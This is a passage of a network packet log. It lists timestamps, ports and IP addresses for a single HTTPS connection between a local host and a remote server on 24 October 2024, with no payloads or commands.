Oct 24, 2024 00:26:43.874473095 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.874490023 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.874497890 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.874522924 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.889481068 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.889519930 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.889539003 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.889554024 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.889595032 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.889599085 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.889611006 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.889651060 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.889658928 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.893047094 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.893090963 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.893114090 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.893132925 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.893405914 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.896394968 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.898773909 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.898801088 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.898825884 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.898852110 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.898879051 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.898880959 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.898895979 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.898902893 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.898945093 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.901781082 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.902550936 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.902565956 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.904558897 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.904620886 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.904632092 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.907201052 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.907432079 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.907438993 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.910170078 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.910212040 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.910218954 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.910393000 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.910438061 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.910449982 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.910459042 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.910537004 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.910862923 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.913207054 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.913270950 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.913284063 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.916697025 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.916750908 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.916759968 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.919172049 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.919291019 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.919297934 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.923984051 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.924019098 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.924048901 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.924058914 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.924096107 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.924201012 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.925832987 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.925877094 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.925878048 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.925893068 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.925928116 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.926541090 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.929239988 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.929277897 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.929320097 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.929330111 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.929368973 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.931555986 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.934233904 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.934273958 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.934326887 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.934345007 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.934386015 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.936391115 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.938858986 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.938942909 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.938957930 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.939038038 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.939169884 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.939177036 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.941232920 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.941279888 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.941284895 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.941327095 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.941514969 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.941520929 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.943656921 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.943708897 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.943721056 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.943803072 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.943854094 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.943861008 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.946613073 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.946667910 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.946729898 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.946738005 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.946778059 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.949031115 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.950603962 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.950638056 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.950658083 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.950664997 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.950706005 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.953223944 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.953282118 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.953324080 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.953353882 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.953366041 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.953409910 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.955459118 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.957899094 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.957936049 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.957957029 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.957963943 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.958008051 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.959656000 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.962914944 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.962996006 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.963002920 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.963083029 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.963123083 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.963128090 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.963136911 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.963676929 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.964287996 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.964371920 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.964543104 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.964548111 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.966712952 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.966757059 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.966768980 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.969342947 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.969393015 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.969398975 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.972661018 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.972723007 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.972729921 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.978671074 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.978729963 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.978749990 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.984924078 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.985054970 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.985071898 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.987440109 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.987502098 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.987515926 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.991692066 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.991760969 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.991825104 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.991838932 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.991890907 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.992016077 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.992022038 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.992322922 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.006570101 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.006740093 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.006772995 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.006805897 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.006827116 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.006836891 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.006848097 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.006861925 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.006886959 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.006896019 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.010965109 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.011022091 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.011038065 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.013699055 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.013735056 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.013768911 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.013767004 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.013791084 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.013814926 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.016865969 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.016899109 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.016931057 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.016951084 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.016963959 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.016982079 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.018929958 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.018976927 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.018982887 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.021981001 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.022167921 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.022181988 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.024900913 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.024949074 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.024960995 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.027471066 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.027525902 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.027542114 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.027591944 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.027617931 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.027662992 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.027671099 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.027709961 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.027720928 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.030989885 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.031028986 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.031044006 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.031058073 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.031181097 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.033813953 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.036423922 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.036453009 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.036480904 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.036500931 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.036537886 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.041088104 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.041140079 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.041193008 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.041203022 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.042948961 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.042996883 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.043001890 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.043080091 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.043119907 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.043126106 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.043942928 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.043987989 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.043998003 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.046545982 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.046607018 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.046623945 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.048882008 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.048928976 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.048939943 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.051348925 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.051404953 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.051424026 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.053544044 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.053606033 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.053620100 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.056236029 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.056262016 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.056312084 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.056329012 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.056440115 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.058372974 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.058423996 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.058463097 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.058515072 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.058522940 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.058723927 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.058731079 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.060906887 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.060961008 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.060969114 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.061050892 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.061081886 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.061129093 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.061140060 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.061189890 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.063528061 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.066266060 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.066304922 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.066322088 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.066329002 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.066637993 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.067800045 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.070323944 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.070372105 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.070410967 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.070528984 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.070528984 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.070559025 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.072541952 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.072575092 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.072612047 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.072642088 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.072654963 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.072664976 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.075345039 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.075403929 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.075412035 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.077052116 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.077132940 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.077140093 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.080234051 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.080275059 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.080339909 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.080344915 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.080349922 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.080447912 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.080749035 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.080816984 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.080930948 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.081396103 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.081450939 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.081458092 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.086524010 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.086564064 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.086604118 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.086613894 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.086652994 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.089813948 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.095779896 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.095810890 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.095844984 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.095854998 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.095922947 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.101841927 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.104346037 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.104377985 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.104404926 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.104418039 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.104429007 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.104480028 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.108824015 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.108850956 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.108876944 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.108887911 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.108896971 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.108931065 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.109114885 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.109272003 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.109278917 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.123802900 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.123863935 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.123871088 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.124027967 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.124070883 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.124093056 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.124099970 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.124145985 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.124190092 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.124197006 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.124237061 CEST	49708	443	192.168.2.16	142.250.186.97
